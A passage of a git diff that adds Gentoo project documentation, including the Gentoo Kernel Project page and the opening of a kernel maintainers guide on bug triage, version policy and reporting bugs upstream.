+              <li>
+		Additionally, we make javac compile the lowest possible
+		bytecode. So it can be used by as many other packages as
+		possible.
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>I still don't want 1.4</title>
+    <section>
+      <body>
+        <p>
+	  For now you pretty much have to have a 1.4 jdk installed. Work is
+	  being done to get all packages migrated to the new java system.
+	  Along with testing them under 1.5, both compile and running. 
+	  Which is a pretty large task, considering we still have to maintain 
+	  other packages in the mean time. 
+	</p>
+	<p>
+	  There is no time frame for when Java 1.4 will no longer be required.
+	  We do welcome any help with migrating the remaining packages causing
+	  the 1.4 dependency. Then testing the packages under a 1.5 jdk and jre.
+	</p>
+      </body>
+    </section>
+  </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/kernel/index.xml b/xml/htdocs/proj/en/kernel/index.xml
new file mode 100644
index 00000000..69b15113
--- /dev/null
+++ b/xml/htdocs/proj/en/kernel/index.xml
@@ -0,0 +1,214 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>kernel</name>
+	<longname>Gentoo Kernel Project</longname>
+	<description>The Gentoo Kernel project has the goal of bringing a stable and consistent
+kernel feature set across all architectures supported by Gentoo Linux</description>
+	<longdescription>
+<p>
+With an ever increasing userbase demanding a higher quality of stable, production-ready kernel sources and featureful desktop support the professionalism and staffing of the kernel project is very important. Because we as users want the best from Gentoo Linux we supply a selection of both generic and specialised sources capable of handling the day-to-day grind to make life a little easier.
+</p>
+<p>
+In order to provide a rich choice of high quality kernel trees Gentoo Linux must apply, write and test several kernel patches to the official upstream releases before they can offer finished ebuilds to the users. This is where the Gentoo Kernel project comes into play.
+</p>
+	</longdescription>
+<goals><p>
+The Gentoo Kernel Project aims to deliver the best possible experience from its sources across all supported architectures. By maintaining quality control, clearly defined road maps, highly skilled developers and a standard base across all of our kernels the project will help bring the end-user experience of our kernels to even higher levels.
+</p></goals>
+	<extraproject name="gentoo-sources" lead="mpagano">
+		Full sources including the Gentoo patchset for the 2.6 kernel tree. [2.6]
+	</extraproject>
+	<extraproject name="hppa-sources" lead="gmsoft">
+		Gentoo Kernel supporting pa-risc processors. [2.6]
+	</extraproject>
+	<extraproject name="mips-sources" lead="kumba">
+		Gentoo Kernel based from the 2.4 branch supporting MIPS processors [2.4/2.6]
+	</extraproject>
+	<extraproject name="sparc-sources" lead="joker">
+		Gentoo Kernel supporting SPARC processors [2.4]
+	</extraproject>
+	<extrachapter>
+	<title>Genpatches</title>
+	<section>
+	<body>
+	<p>
+	Many kernels in Gentoo include part or all of the genpatches patchset. genpatches is focused on being a minimal patchset mostly focused on bugfixes, with minimal deviation from the upstream Linux kernel.
+	</p>
+	<p>
+	The genpatches homepage can be found at <uri>http://dev.gentoo.org/~mpagano/genpatches</uri>.
+	</p>
+	</body>
+	</section>
+	</extrachapter>
+	<extrachapter>
+	<title>Maintainers guide</title>
+	<section>
+	<body>
+	<p>
+	In order to encourage new contributors, we have documented the procedures used when maintaining gentoo-sources-2.6. The document can be found <uri link="maintenance.xml">here</uri>.
+	</p>
+	</body>
+	</section>
+	</extrachapter>
+	<extrachapter position="subproject">
+	<title>Other Kernels</title>
+	<section>
+	<body>
+	<p>
+	The Gentoo Kernel herd maintains the following list of kernels currently in portage. 
+	Additional kernels in portage that are not listed below are not maintained under the kernel herd.
+	</p>
+	<table>
+	<tr>
+		<th>Kernel</th><th>Description</th>
+	</tr>
+	<tr>
+		<ti>ck-sources</ti><ti>Con Kolivas' kernel sources.</ti>
+	</tr>
+	<tr>
+		<ti>git-sources</ti><ti>git sources, the absolute latest kernel available.</ti>
+	</tr>
+	<tr>
+		<ti>hardened-sources</ti><ti>Sources based upon genpatches-base along with the grsecurity patch which includes Pax.</ti>
+	</tr>
+	<tr>
+		<ti>mm-sources</ti><ti>Andrew Morton's patchset for 2.6 consisting of experimental features, cleanups, and other interesting patches.</ti>
+	</tr>
+	<tr>
+		<ti>sh-sources</ti><ti>SuperH sources including the gentoo patchset.</ti>
+	</tr>
+	<tr>
+		<ti>suspend2-sources</ti><ti>Software Suspend 2 source and the Gentoo patchset.</ti>
+	</tr>
+	<tr>
+		<ti>tuxonice-sources</ti><ti>TuxOnIce (formerly Suspend2) sources and the Gentoo patchset.</ti>
+	</tr>
+	<tr>
+		<ti>usermode-sources</ti><ti>Full sources for the User Mode Linux kernel.</ti>
+	</tr>
+	<tr>
+		<ti>vanilla-sources</ti><ti>Full prepatched/rc sources for the Linux kernel.</ti>
+	</tr>
+	<tr>
+		<ti>xbox-sources</ti><ti>Full sources for the Xbox Linux kernel.</ti>
+	</tr>
+	</table>
+	</body>
+	</section>
+	</extrachapter>
+	<dev role="lead" description="Kernel Lead and misc. other things.">dsd</dev>
+	<dev description="Kernel, ck-sources">marineam</dev>
+	<dev description="Kernel, git-sources, gentoo-sources, udev, hotplug etc.">gregkh</dev>
+	<dev description="Kernel, hppa-sources">gmsoft</dev>
+	<dev description="Kernel, mips-sources">kumba</dev>
+	<dev description="Kernel, gentoo-sources, genpatches">mbres</dev>
+	<dev description="Kernel, gentoo-sources, genpatches">mpagano</dev>
+	<dev description="Kernel, gentoo-sources, genpatches">hwoarang</dev>
+	<dev description="Kernel, gentoo-sources, genpatches">asn</dev>
+	<dev description="Kernel, sparc-sources">joker</dev>
+	<dev description="Kernel, vesafb-tng, gensplash and splashutils">spock</dev>
+	<dev description="Kernel, mm-sources, vanilla-sources">chainsaw</dev>
+	<dev description="Kernel, User Mode Linux">dang</dev>
+	<dev description="Kernel, tuxonice-sources">nelchael</dev>
+    <dev description="Kernel, hardened">battousai</dev>
+    <dev description="Kernel, hardened">blueness</dev>
+    <dev description="Kernel, hardened">chainsaw</dev>
+    <dev description="Kernel, hardened">dragonheart</dev>
+    <dev description="Kernel, hardened">gengor</dev>
+    <dev description="Kernel, hardened">nixnut</dev>
+    <dev description="Kernel, hardened">pebenito</dev>
+    <dev description="Kernel, hardened">solar</dev>
+    <dev description="Kernel, hardened">zorry</dev>
+<extrachapter>
+<title>Project Documentation</title>
+<section>
+<title>Kernel Documentation</title>
+<body>
+<!--In order for our users to be able to pick the best kernel ebuild we provide them with a <uri link="http://www.gentoo.org/doc/en/gentoo-kernel.xml">Kernel Guide</uri> in which all available kernel ebuilds are listed and described.-->
+<dl>
+  <dt><b>Gentoo Linux Kernel Documentation:</b></dt>
+  <dd>
+    <ul>
+      <li><uri link="http://www.gentoo.org/doc/en/gentoo-kernel.xml">Gentoo Linux Kernel Guide</uri></li>
+      <li><uri link="http://www.gentoo.org/doc/en/kernel-upgrade.xml">Gentoo Linux Kernel Upgrade Guide</uri></li>
+      <li><uri link="http://www.gentoo.org/doc/en/kernel-config.xml">Gentoo Linux Kernel Configuration Guide</uri></li>
+      <li><uri link="http://www.gentoo.org/doc/en/migration-to-2.6.xml">Gentoo Linux 2.4 to 2.6 Kernel Migration Guide</uri></li>
+    </ul>
+  </dd>
+</dl>
+</body>
+</section>
+
+<!--
+
+<section>
+<title>Gentoo Linux Enhancement Proposals</title>
+<body>
+<p>
+The following GLEPs handle kernel-specific items and are therefor aimed
+at the Gentoo Kernel Project:
+</p>
+<p>
+No GLEPs so far.
+</p>
+
+<table>
+ <tr>
+  <th>GLEP</th>
+  <th>Description</th>
+  <th>Involved Developers</th>
+  <th>Status</th>
+ </tr>
+ <tr>
+  <ti><uri
+  link="http://www.gentoo.org/proj/en/glep/glep-XXXX.html">XX</uri></ti>
+  <ti>Proposal to foo bar bleh bla bla.</ti>
+  <ti>john doe, mike bike</ti>
+  <ti>Working on it, Implemented, No Implementation Needed,
+  Dismissed</ti>
+ </tr>
+</table>
+
+</body>
+</section>
+
+-->
+</extrachapter>
+
+<extrachapter>
+<title>Mailing lists</title>
+<section>
+<title>gentoo-kernel@gentoo.org</title>
+<body>
+<p>The <uri link="http://archives.gentoo.org/gentoo-kernel/">Gentoo Kernel Mailing List</uri> is a public mailing list for the discussion of project related topics and release announcements for genpatches, vesafb-tng and fbsplash.
+</p>
+<p>
+Gentoo maintains a a full listing of all public <uri link="http://www.gentoo.org/main/en/lists.xml">Gentoo Mailing Lists</uri> as well as information on how to subscribe and unsubscribe.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Useful Links</title>
+<section>
+<body>
+<dl>
+  <dt><b>Additional Information and External Links:</b></dt>
+  <dd>
+    <ul>
+      <li><uri link="http://www.reactivated.net/weblog/archives/2006/01/using-git-bisect-to-find-buggy-kernel-patches/">Using git-bisect to find buggy kernel patches</uri></li>
+      <li><uri link="http://www.reactivated.net/weblog/archives/2007/04/using-ketchup-to-quickly-install-kernel-sources/">Using ketchup to quickly install kernel sources</uri></li>
+    </ul>
+  </dd>
+</dl>
+</body>
+</section>
+</extrachapter>
+
+<herd name="kernel"/>
+<herd name="kernel-misc"/>
+</project>
diff --git a/xml/htdocs/proj/en/kernel/maintenance.xml b/xml/htdocs/proj/en/kernel/maintenance.xml
new file mode 100644
index 00000000..53dbb8a4
--- /dev/null
+++ b/xml/htdocs/proj/en/kernel/maintenance.xml
@@ -0,0 +1,894 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/doc/en/kernel-upgrade.xml,v 
+1.16 2006/07/23 12:27:14 neysx Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/kernel/maintenance.xml">
+<title>Gentoo Linux Kernel Maintainers Guide</title>
+<author title="Author">
+  <mail link="dsd@gentoo.org">Daniel Drake</mail>
+</author>
+
+<abstract>
+Introduction to Gentoo kernel maintenance processes
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2008-11-19</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+This guide aims to document the processes used in the maintenance of Gentoo's
+core kernel package, gentoo-sources. It is written in hope that it will help
+future contributors get involved with these maintenance efforts.
+</p>
+
+<p>
+At the core of gentoo-sources is genpatches: a generic kernel patchset,
+designed to be minimal, Gentoo-independent, and accessible to other
+distributions and projects. Please ensure you have a good
+understanding of genpatches before continuing: read through the
+<uri link="http://dev.gentoo.org/~mpagano/genpatches/">genpatches homepage</uri>.
+</p>
+
+<p>
+This document was written by Daniel Drake, the kernel project lead. References
+to "me" in this document refer to Daniel, but please do not feel that this is
+a one-man project. Other members of the team are happy to help you as well.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting Started</title>
+
+<section>
+<title>Mailing lists</title>
+<body>
+
+<p>
+Please subscribe to the <b>gentoo-kernel</b> mailing list. Subscription
+instructions can be found
+<uri link="http://www.gentoo.org/main/en/lists.xml">here</uri>, and archives
+can be found <uri link="http://archives.gentoo.org/gentoo-kernel/">here</uri>.
+This list is low-traffic. I will announce modifications to this document on
+that list.
+</p>
+
+<p>
+You should also subscribe to the linux-kernel mailing list (LKML). This list is
+<e>extremely</e> high traffic. You shouldn't even attempt to read it all,
+but glance through the subject lines every day or two, and keep an eye out
+for topics that interest you. It's also interesting to read the release
+announcements from Linus and the -stable crew, and Andrew Morton's -mm release
+announcements to keep up with what's going on in the kernel community.
+</p>
+
+<p>
+Keep the LKML archived in its own folder in a good mail client. It becomes
+very useful later on when you are researching bugs reported by users on the
+Gentoo bugzilla. I try to keep at least the most recent 30,000 emails around.
+</p>
+
+<p>
+To subscribe to the LKML, send an email to
+<mail>majordomo@vger.kernel.org</mail> with the following in the body of the
+email:
+</p>
+
+<pre caption="Message body">
+subscribe linux-kernel YOUR-EMAIL-ADDRESS
+</pre>
+
+<p>
+You may also be interested in reading the
+<uri link="http://www.tux.org/lkml/">LKML FAQ</uri>. It contains lots of
+information about how the mailing list is used and the kernel community in
+general. I don't expect you to have any need to write to the LKML initially,
+but do be sure to read this FAQ before you send your first email there.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+Please be active on our IRC channel, #gentoo-kernel on freenode. The Gentoo
+website has more information on
+<uri link="http://www.gentoo.org/main/en/irc.xml">IRC channels</uri>.
+</p>
+
+<p>
+While learning, please ask us questions! This is the best way to learn. If we don't respond, ask again another time. We do want to help you, since hopefully that will result in you helping us in the future!
+</p>
+
+<p>
+The primary kernel maintainers are Daniel Drake (IRC username <c>dsd_</c>) and Mike Pagano (IRC username <c>mpagano</c>).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gentoo Bugzilla</title>
+<body>
+
+<p>
+The bulk of Gentoo kernel maintenance happens on
+<uri link="https://bugs.gentoo.org">bugzilla</uri> - bug reports, keyword
+requests, feature requests, etc. Make sure you have your own personal account.
+</p>
+
+<p>
+You should now configure bugzilla to send you copies of all bugmails related
+to kernel maintenance. To do this, go to
+<uri link="http://bugs.gentoo.org/userprefs.cgi?tab=email">bugzilla email
+preferences</uri> and add <c>kernel@gentoo.org</c> to your user watch list.
+I suggest you set up a mail filter to move these mails to their own folder.
+</p>
+
+<p>
+Another useful feature is bugzilla saved searches. You can perform a bugzilla
+query, and save it with a user-defined name for quick access later. Links to
+these saved searches are present on the bottom of every bugzilla screen. For
+each of the following queries, please scroll to the bottom of the resultant
+buglist and use the "Remember search" functionality to save each one:
+</p>
+
+<p>
+<uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=kernel%40gentoo.org&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=kernel&amp;field0-0-0=keywords&amp;type0-0-0=notsubstring&amp;value0-0-0=ebuild&amp;field0-0-1=noop&amp;type0-0-1=noop&amp;value0-0-1=&amp;field0-1-0=status_whiteboard&amp;type0-1-0=notsubstring&amp;value0-1-0=linux-2.4&amp;field0-2-0=keywords&amp;type0-2-0=notsubstring&amp;value0-2-0=tracker">
+Gentoo kernel bugs</uri>: This query lists all open bugs assigned to
+kernel@gentoo.org except ebuild submissions, tracker bugs, and 2.4 bugs. This
+is the main buglist you will be working from.
+</p>
+
+<p>
+<uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=anywordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED&amp;resolution=UPSTREAM&amp;resolution=---&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=Kernel+regressions&amp;field0-0-0=status_whiteboard&amp;type0-0-0=regexp&amp;value0-0-0=linux-2%5C.6%5C..*-regression">
+Kernel regressions</uri>: This query lists all open regression bugs. A
+regression is a bug which was introduced in a certain kernel release, whereas
+the same functionality worked in releases beforehand. In many ways, regressions
+are the most critical form of bugs.
+</p>
+
+<p>
+<uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=watch-linux-bugzilla&amp;keywords_type=allwords&amp;keywords=&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=Linux+bugzilla&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">
+Linux bugzilla</uri>: This query lists all bugs reported on the Gentoo bugzilla
+which have then been reported upstream at the
+<uri link="http://bugzilla.kernel.org">kernel bugzilla</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Kernel bugzilla</title>
+<body>
+
+<p>
+We report the majority of bugs upstream to the kernel bugzilla,
+<uri link="http://bugzilla.kernel.org">http://bugzilla.kernel.org</uri>. You
+should create an account here, and again, put <c>kernel@gentoo.org</c> on your
+email user watch list.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Subversion</title>
+<body>
+
+<p>
+You'll probably find it handy to keep a subversion checkout of genpatches
+locally.
+</p>
+
+<pre caption="Checking out genpatches from anonymous SVN">
+# svn co svn://anonsvn.gentoo.org/linux-patches/genpatches-2.6/trunk genpatches
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Websites</title>
+<body>
+
+<p>
+Here's a list of useful websites which you'll see me referring to.
+</p>
+
+<ul>
+<li><uri link="https://bugs.gentoo.org">Gentoo bugzilla</uri></li>
+<li><uri link="http://bugzilla.kernel.org">Kernel bugzilla</uri></li>
+<li><uri link="http://dev.gentoo.org/~mpagano/genpatches">genpatches homepage</uri></li>
+<li><uri link="http://www.kernel.org">kernel.org</uri></li>
+<li><uri link="http://lxr.linux.no/">LXR Cross Referencer</uri> - useful if you are digging into the source code</li>
+<li><uri link="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=summary">gitweb: Linus' tree</uri> - kernel releases are generated from this repository</li>
+<li><uri link="http://git.kernel.org">gitweb: index of kernel repositories</uri></li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Maintenance style</title>
+
+<section>
+<title>General objectives</title>
+<body>
+
+<p>
+The kernel is a huge codebase, and is one of the packages which is present
+on almost every users system and is used all the time. Our maintenance style
+may seem strange at first, but please remember that kernel maintenance is
+overall a huge task, and as such, one of our primary objectives is minimizing
+the amount of work that we have to do (and overall make things more manageable).
+</p>
+
+<p>
+One way we reduce our workload is to attempt to deviate away from the upstream
+kernel releases as little as possible: we aim to make genpatches as small as
+possible. The less patches we have to handle/backport/forwardport, the less
+work we have on our hands.
+</p>
+
+<p>
+Another approach we take is quick adoption of new kernel releases. Each new
+kernel release fixes many bugs and adds more hardware support, which
+invariantly affects proportions of our userbase. Instead of going to the
+pains of backporting these code changes, we reduce our workload by encouraging
+quick adoption of new kernel releases where this new code originates. Further
+in line with these goals, we tend to stop supporting older kernels fairly soon
+after a new release has been cut.
+</p>
+
+<p>
+Even more time consuming than patch handling is bug fixing. Being such a huge
+codebase, we get a steady flow of kernel bug reports on our bugzilla. Some of
+them take considerable time/effort to get resolved. We work to streamline our
+bug handling processes here.
+</p>
+
+<p>
+Even after 3 years of bug handling, I personally am familiar with only a very 
+small proportion of the kernel codebase. It's important that we raise these
+bugs to the attention of the upstream kernel developers who do know what they
+are doing, and it's important that we do this quickly. As you will learn, we
+don't actually do much of the fixing downstream in Gentoo.
+</p>
+
+<p>
+With respect to the above forwarding of bugs to upstream developers, it's
+important that we maintain good relationships with upstream developers. In
+general, upstream developers are wary of distro-reported kernel bugs - after
+all, most distributions patch their kernel releases so heavily that they aren't
+easily supportable by people outside of those distributions. I recently
+had to dig a patch out of the Mandriva patchset, and just out of curiousity, I
+ran diffstat against their patches. The data set was so great that it revealed
+an obscure bug in diffstat itself!
+</p>
+
+<p>
+One way we attempt to get respect from upstream developers is by our patching
+policy: other than in exceptional circumstances, we don't add any patches
+until they have been merged into the official development tree upstream.
+Additionally, this helps us to respect upstream decisions, and helps us ensure
+quality (and upstream support) of our patchset.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Bug handling</title>
+
+<section>
+<title>Basic strategy</title>
+<body>
+
+<p>
+The bugfixing process certainly varies from bug to bug, but many have things
+in common. During the process I usually aim to do the following:
+</p>
+
+<ul>
+<li>Verify that it is not a user or configuration error</li>
+<li>Verify that it is not a Gentoo-specific distro bug</li>
+<li>Gather detailed information to classify the problem</li>
+<li>Send the bug upstream</li>
+</ul>
+
+<p>
+With that in mind, bugs often follow a process such as the following:
+</p>
+
+<ol>
+<li>Initial evaluation</li>
+<li>Information gathering (including kernel test requests)</li>
+<li>Research</li>
+<li>Filing upstream</li>
+</ol>
+
+</body>
+</section>
+
+<section>
+<title>Initial process</title>
+<body>
+
+<p>
+A user reports a bug to the Gentoo bugzilla. A bug wrangler reassigns the bug
+to <c>kernel@gentoo.org</c>.
+</p>
+
+<p>
+You are notified of this new bug by email. You first run a few sanity checks
+over it: is it an obvious user error? Is it a duplicate of another bug that
+has already been reported?
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Information gathering</title>
+<body>
+
+<p>
+The initial bug report is usually lacking in information, by no fault of the
+reporter. Examples of common questions you might ask in response to the
+intial report include:
+</p>
+
+<ul>
+<li><b>Which kernel version are you using?</b> This is important information
+which is often omitted from the initial report.</li>
+<li><b>Which other kernel versions have you tried?</b> Sometimes the user knows that this is a long-term bug, and sometimes this information can be useful to
+you.</li>
+<li><b>Are there any known previous working kernels?</b> Here you're basically
+asking "is this a regression?"</li>
+<li><b>Can you reproduce this?</b> Sometimes people post crash dumps with no
+indication of whether this was a one-off after years of stability, or if it
+reliably occurs soon after boot, or if they know of a way to trigger the crash
+whenever they feel like it.</li>
+</ul>
+
+<p>
+There are typically many other such questions that could be asked for most
+bug reports, but many of these can be answered by requesting output of certain
+commands or certain files. I find myself commonly requesting the following:
+</p>
+
+<ul>
+<li><b>dmesg</b> - this dumps the kernel log from the current boot to the
+console. It contains all sorts of interesting information about the hardware
+and drivers, as well as information about any kernel-level errors that may
+have occurred.</li>
+<li><b>.config</b> - sometimes it's useful to verify exactly how the user has
+configured their kernel.</li>
+<li><b>lsmod</b> output - when the user has built certain components as
+modules, this is one way you can verify that they have been loaded.</li>
+<li><b>lspci</b> output - this provides a useful overview of the system
+hardware and can be used to get an idea of which drivers the user should be
+using.</li>
+</ul>
+
+<p>
+After requesting one piece of information, you might then realise that you
+need to request something else. That's fine, just post a new comment with a
+new request.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Version considerations</title>
+<body>
+
+<p>
+We generally accept bug reports for 2 kernel versions at any one time:
+</p>
+
+<ol>
+<li>The most recent kernel with stable keywords</li>
+<li>The most recent kernel with testing keywords</li>
+</ol>
+
+<p>
+For example, at the time of writing, the most recent stable kernel is 2.6.20.
+2.6.21 has just been released, and is present in the testing tree, but it
+needs substantially more testing time before we are confident enough to mark
+it stable. During this time we will accept bugs for the latest
+gentoo-sources-2.6.20 release, and the latest gentoo-sources-2.6.21 release.
+</p>
+
+<p>
+Even if a user files a bug on a currently supported kernel, we often ask them
+to test the latest development kernel (e.g. 2.6.22-rc1 in the above example).
+Why? We're moving to get this bug reported upstream as soon as possible, and
+as a kernel developer, there simply isn't any point diagnosing issues on a
+codebase which isn't current.
+</p>
+
+<p>
+With that in mind, and the above example of current versions, there are several
+situations which can arise:
+</p>
+
+<ul>
+<li>A user may report a bug with 2.6.19 or older. These kernels are not
+supported. You first ask them to reproduce on any supported kernel (give them
+the option of either 2.6.20 or 2.6.21), and if the bug still exists there, ask
+them to test the latest development kernel (2.6.22-rc1).</li>
+<li>The user may report a bug with 2.6.20 (current supported stable
+kernel). Ask them to test the current testing kernel (2.6.21), and if the bug
+still exists there, request that they test the latest development kernel 
+(2.6.22-rc1).</li>
+<li>The user may report the bug with 2.6.21 (current supported testing kernel).
+Ask them to reproduce with the latest development kernel (e.g.
+2.6.22-rc1).</li>
+</ul>
+
+<p>
+For 2 weeks after the upstream release of a 'production' kernel, there is
+a period in which there is no development kernel available. For example, 2.6.21
+has only just come out and 2.6.22-rc1 will not be released for at least a week.
+In this case, you can skip the stage where you ask the user to test the latest
+development kernel -- reproducing the issue on 2.6.21 is enough to request
+the upstream developers to work on it.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Researching the bug</title>
+<body>
+
+<p>
+When you're happy that you have enough information about the problem, you
+should attempt to find other reports of the same issue. In some cases you can
+do this without asking the user to test all the new kernels.
+</p>
+
+<p>
+It is quite often the case that the bug has already been reported upstream and
+there is already some discussion happening about how to fix it, or maybe a
+patch is already available.
+</p>
+
+<p>
+This part is really just common sense: stick some search terms into google.
+If you have a distinguishable error message, search for that. Otherwise, search
+for "linux 2.6.20 sky2" if you're researching a reliability regression in
+2.6.20 with the sky2 driver.
+</p>
+
+<p>
+Additionally, query the linux bugzilla with similar search terms, and use your
+email client to search through your local LKML archives.
+</p>
+
+<p>
+If you find something, that's great, reference it on the bug. You may even
+have found a fix for the problem. It's certainly not uncommon for standard
+searching not to find any references though.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>vanilla-sources</title>
+<body>
+
+<p>
+Occasionally we get bug reports from people using <c>vanilla-sources</c>.
+Whether or not we accept these bugs is a matter of judgement. vanilla-sources
+is provided to aid testing, but is not supported: if it's broken, we don't
+patch it.
+</p>
+
+<p>
+That said, if someone reports a bug in vanilla-sources-2.6.21.1 (the latest
+upstream release) it is likely to also exist in the latest gentoo-sources-2.6.21
+release, so it probably makes sense to accept the bug and go through the usual
+diagnosis. However, if you feel that gentoo-sources may have a patch to fix
+this, don't hesitate to remind them that vanilla-sources is unsupported and
+they need to reproduce this on gentoo-sources before we'll look into it.
+</p>
+
+<p>
+Sometimes, users report -rc kernel regressions, e.g. they report bugs which
+exist in vanilla-sources-2.6.22-rc1 but not in 2.6.21. In these cases, you
+can close the bug right away: you should thank the user for reporting the
+issue but point out that they should report it upstream at the kernel bugzilla
+directly. gentoo-sources does not do -rc releases.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Binary and out-of-kernel modules</title>
+<body>
+
+<p>
+It may become apparent through information gathering that the user is using
+kernel modules/drivers which are not part of the official kernel sources. One
+example of such a package would be <c>x11-drivers/nvidia-drivers</c>. 
+</p>
+
+<p>
+Again, these situations require some judgement. There's simply no way we can
+support kernels which are modified at runtime in this way, so it is perfectly
+reasonable to ask the user to reproduce the issue without those external
+modules loaded (and also request that they have <e>not</e> been loaded since
+boot, as opposed to them booting, loading and unloading the modules, and then
+reproducing the issues).
+</p>
+
+<p>
+That said, you can sometimes conclude that the bug exists through other means,
+in which case there is no need to ask them to reproduce without the external
+modules. For example, you might find an identical report on a non-tainted
+kernel on LKML.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Regression handling</title>
+<body>
+
+<p>
+If you determine that a bug is a regression, there are a few extra things to
+consider. First, you should tag it as so (read about the Status Whiteboard later
+in this document). Secondly, you should note that the Linux source code
+management utility (git) has a useful bisection feature which can identify
+the exact commit which caused a regression. This really makes the bug a lot
+easier to solve.
+</p>
+
+<p>
+However, performing a bisection is a time consuming process: for identifying
+a regression between versions 2.6.x and 2.6.x+1 it usually requires that you
+build and test approximately 13 different kernels. So, unless you sense that
+the user is particularly keen, you should probably exhaust other options first.
+You could get the bug forwarded upstream and after a few days if there hasn't
+been any progress, ask them if they will consider doing a bisection.
+</p>
+
+<p>
+I have some pre-written instructions on how to do a bisection, which are
+easy to follow. If you are going to suggest a bisection, I would suggest you
+just drop them a link to
+<uri link="http://www.reactivated.net/weblog/archives/2006/01/using-git-bisect-to-find-buggy-kernel-patches/">
+this article</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>If the user doesn't respond</title>
+<body>
+
+<p>
+It's unfortunate, but fairly often, users turn unresponsive and don't provide
+the extra information that you requested. While we aren't paid to fix these
+issues and have plenty more to be working on, it's best just to discard these
+bugs.
+</p>
+
+<p>
+After 14 days, if the user has not responded to my most recent request, I close
+the bug as NEEDINFO with a comment asking that they reopen the bug when the
+information has been provided. Quite often this spurs the user into providing
+what was requested.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Reporting bugs upstream</title>
+
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+You've established that this appears to be a kernel bug, you've gathered
+information which agrees, and it's been reproduced on the latest development
+kernel. The next step is to get the bug reported upstream.
+</p>
+
+<p>
+There are 2 ways you can do this: by asking the user to report the bug at
+the upstream kernel bugzilla, and by yourself sending an email to the relevent
+lists and maintainers.
+</p>
+
+<p>
+It's very important that we make it easy for the upstream developers here.
+When reporting bugs, state clearly which versions are affected, mentioning
+which ones are unmodified (usually we can say "it's present in 2.6.19-gentoo
+but is also reproducible on unmodified 2.6.20-rc5").
+</p>
+
+<p>
+While the procedure does involve linking to the downstream bug, make sure all
+information is presented upstream - don't expect them to click and read through
+the downstream bug, which probably contains some degree of noise anyway.
+</p>
+
+<p>
+The procedure outlined below includes modifying the status whiteboard field,
+which is explained further later in this document.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Reporting bugs on the kernel bugzilla</title>
+<body>
+
+<p>
+The kernel bugzilla is the primary mechanism we use to report bugs upstream.
